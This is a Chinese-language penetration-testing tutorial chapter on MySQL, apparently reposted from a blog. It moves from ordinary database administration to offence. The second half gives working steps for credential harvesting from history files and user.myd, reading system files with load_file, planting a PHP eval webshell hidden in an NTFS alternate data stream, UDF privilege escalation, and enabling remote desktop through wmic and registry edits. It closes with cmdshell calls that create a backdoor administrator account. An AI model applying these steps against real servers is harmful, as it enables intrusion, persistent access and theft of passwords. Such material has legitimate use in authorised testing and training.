sqlmap从入门到精通-第四章-4-1 MySQL获取webshell及提权基础

4.1 MySQL获取webshell及提权基础

4.1.1 MySQL连接

1. 使用自身客户端工具进行连接

Windows环境

mysql.exe -h localhost -uroot -ppassword

或者

Linux环境

mysql -h localhost -uroot -ppassword

Tips:上面登录过程中密码最好不直接写,输入账户之后按下回车键再输入密码

2. 使用客户端工具Navicat for MySQL进行连接

文件-新建连接 在新建连接得窗口输入连接名,主机名或IP地址,端口,用户名,密码 ,然后测试连接没有问题就可以正常连接

4.1.2 数据库密码操作

mysql 5.7.6以后的版本将原来的password字段修改为authentication_string ,其加密算法还是原来的加密算法,在安全上进行了极大的加强

1. 低于5.7.6版本

mysql -h localhost -u root -p  敲击回车输入密码

use mysql;

update user set password=password("xxxeee") where user='root';

flush privileges; // 刷新数据库

2. 高于5.7.6版本

update mysql.user set authentication_string=password('xxooee') where user='root' and Host='localhost';

select authentication_string from user;

flush privileges  // 刷新数据库

3. 查询密码值

select authentication_string from user;

4.1.3 数据库操作命令

1. 数据库基本操作命令

(1) 显示所有数据库并查询当前使用的数据库

show databases;

select database();

(2) 创建数据库

create database name;

(3) 选择数据库

use databasename;

(4) 直接删除数据库,无提示

drop database name;

(5) 删除数据库前有提示

mysqladmin drop databasename

(6) mysqldump备份数据库

导出整个数据库

mysqldump -u 用户名 -p --default-character-set=latin1 数据库名 > 导出的文件名(数据库默认编码是latin1)

mysqldump -u root -p root mysql > mysqlbackup20200620.sql

注意:备份的名称最好写有意义的,方便日后识别后数据库出问题及时恢复

导出一个表

mysqldump -u 用户名 -p 数据库名表名 > 导出的文件名

mysqldump -u root -p root mysql users > mysql_users.sql

导出一个数据库结构

mysqldump -u root -p -d --add-drop-table bmfx_member > /tmp/bmfx_db.sql

# -d 没有数据 --add-drop-table 在每个create语句之前增加一个drop table

(7) 恢复数据库

常使用source命令

use bmfx;

source bmfx_db.sql

使用mysqldump命令

mysqldump -u username -p dbname < filename.sql

使用mysql命令

mysql -u username -p -D dbname < filename.sql

2. 操作表相关命令

(1) 使用mysql数据库

use mysql;

(2) 显示mysql库里面的所有表

show tables;

(3) 显示具体的表结构

describe mysql.user;

show columns from mysql.user;

desc mysql.user

(4) 创建表

create table mybmfx(

id int(4) not null primary key auto_increment,

name char(20) not null,

sex int(4) not null default '0',

degree double(18,2));

(5) 删除表

drop table <表名>;

删除表,执行后将直接删除该数据库中的表,执行该命令一定要谨慎,MyISAM类型的表删除后无法恢复,Innodb表还有可能恢复

drop mybmfx;

(6) 插入数据

INSERT INTO insert_table (datetime, uid, content, type)

VALUES (‘1’, ‘userid_1’, ‘content_1’, 1);

https://www.runoob.com/mysql/mysql-insert-query.html

(7) 查询表中的数据

select * from tablename;

查询前几行的数据

select * from tablename order by id limit 0, n;

(8) 删除表中的数据

delete from tablename where expr = value; // 删除满足某一个条件的值

delete from bmfx; //删除表中的所有数据

(9) 修改表中的数据

update 表名 set 字段=新值, .... where 条件

(10) 在表中增加字段

alter table 表名 add字段类型其他:

(11) 更改表名

rename table 原表名 to 新表名

(12) 用文本方式将数据装入数据库表中(如: /opt/data/mysql.txt)

load data local infile "/opt/data/mysql.txt" into table mybmfx;

3. 常用得内置函数

select system_user(); 查看系统用户

select current_user(); 查询当前用户

select user(); 查询用户

select version(); 查询数据库版本

select database(); 查询当前连接得数据库

select @@version_compile_os; 查询当前操作系统

select now(); 显示当前时间

4.1.4 MySQL提权必备条件

1. 服务器安装MySQL数据库

利用MySQL提权的前提就是服务器安装了MySQL数据库,且MySQL的服务没有降权,MySQL数据库默认安装以系统权限继承的,并且需要获取MySQL的账号和密码

2. 判断MySQL服务运行权限

(1) 通过查看系统账号,比如:net user 如果是mysql类的账号 ,则有可能降权了

(2) 通过查看mysqld运行的Priority值,如果mysqld的Priority值也为8那么mysql就是以system权限运行

(3) 查看端口是否可外联,一般情况下是不允许root账号外联的

4.1.5 MySQL密码获取与破解

1. 获取网站数据库账号和密码

(1) 对于CMS系统,一定会有一个文件定义了数据库连接的用户和密码,查看各种默认配置文件;

(2) 对于Linux操作系统,除了上面的方法之外,还可以查看 /root/.mysql_history , /root/.bash_history

2. 获取MySQL数据库user表

一般是在数据库的安装目录下,有个data目录,里面还哪有3个文件 user.frm, user.myd和user.myi, mysql数据库用户密码都是保存在user.myd文件中,包括其他用户的密码也在里面,在有权限的情况下将这3个文件导出到本地,通过本地的mysql环境读取user表中的数据,也可以通过文本编辑器将user.myd打开,将root账号密码丢到cmd5破解

3. MySQL密码查询

通过以下查询语句直接查询MySQL数据库中的所有用户和密码

select user,password from mysql.user;

select user,password from mysql.user where user = 'root';

4. MySQL密码加密算法

根据加密算法来识别账号密码

select password('123456'), concat('*', sha1(unhex(sha1('123456'))));

4.1.6 MySQL获取webshell

1. 知道站点的物理路径

2. 有足够大的权限

3. magic_quotes_gpc()=off 不转义

4. 高版本的MySQL新加的特性是限制文件写入,对于参数是 secure_file_priv

4. 直接导出webshell或者创建表导出webshell

5. Windows 2008环境下使用SQLTOOLS工具写webshell

参考:https://www.cnblogs.com/hackxf/p/8975501.html

4.1.7 MySQL渗透技巧总结

1. 常见的有助于渗透到MySQL的函数

database(), user(), system_user(), session_user(), current_user(), load_file()

(1) 一些常见的系统配置文件如下:

https://www.jozxing.cc/archives/387

(2) 直接读取配置文件

select load_file('/etc/password')

select load_file('/etc/issues')

select load_file('/etc/rc.local')

select load_file('/usr/local/apache/conf/httpd.conf')

select load_file('/etc/nginx/nginx.conf')

(3) Linux下通过load_file 函数出来的数据库可能是hex编码,如果需要正常查看,就需要使用Notepad++将以上代码全部选中,然后选择插件"Converter

" --> "Hex-ASCII" 进行转换

2. Windows下MySQL提权时无法创建目录解决办法及数据流隐藏webshell

NTFS中的ADS(交换数据流)可以建立目录,隐藏webshell等操作

(1) MySQL创建目录

MySQL 版本较高的情况下自定义函数的dll或者so文件要放在MySQL目录下的lib\plugin下面,一般普通的脚本是没有在这个文件夹下创建文件夹权限的,那么这里可以用ADS来突破:

select 'xxsswwoo' into oufile 'F:\\mysql\\lib::$INDEX_ALLOCATION';

此时会在MySQL目录下生成一个lib目录,这样就可以将UDF放在这个插件目录下了。

(2) 隐藏webshell

在服务器上echo一个数据流文件进去,如index.php 是网页正常文件,执行命令:

echo ^<?php @eval(request[xxssoo])? ^>> index.php;a.jpg

3. 有用的一些技巧

(1) 3389端口命令行下获取总结

netstat -ano | findstr 3389  或者 netstat -ano | find "3389"

tasklit /svc | find "TermService" 查看TermService对应的pid号是3352

netstat -ano | find 3352

(2) Windows 2008 Server命令开启3389端口

wmic /namespace:\root\cimv2\terminalservices path

win32_terminalservicesetting where (__CLASS != “”) call

setallowtsconnections 1

wmic /namespace:\root\cimv2\terminalservices path

win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call

setuserauthenticationrequired 1

reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

参考:

https://www.zhihu.com/question/58674236/answer/161702330

https://www.jianshu.com/p/8e7d2f78f5e1

(3) wce64 -w 命令直接获取系统明文登录密码

(4) 在phpinfo中查找script_filename关键字获取真实路径

(5) Linux终端提示符下查看MySQL有关信息

ps -ef | grep mysql

(6) Linux下启动Mysql服务

/etc/init.d/mysqld start

(7) Linux下查看是mysqld是否启动

ps -ef | grep mysqld

(8) 查看mysql在哪里

whereis mysql

(9) 查看运行文件所在的路径

which mysql

(10) udf.dll提权常见函数

cmdshell : 执行cmd

downloader : 下载者

open3389 : 通用开3389程序

backshell : 反弹shell

ProcessView : 列举系统进程

KillProcess : 终止指定进程

regread : 读注册表

regwrite : 写注册表

shut : 关机,注销,重启

about: 说明与帮助函数

示例:

select cmdshell('net user bmfx bmfx1234!@#@ /add');

select cmdshell('net localgroup administrators bmfx /add');

select cmdshell('regedit /s d:/web3389.reg');

select cmdshell('netstat -ano');


 

猜你喜欢

转载自www.cnblogs.com/autopwn/p/13177523.html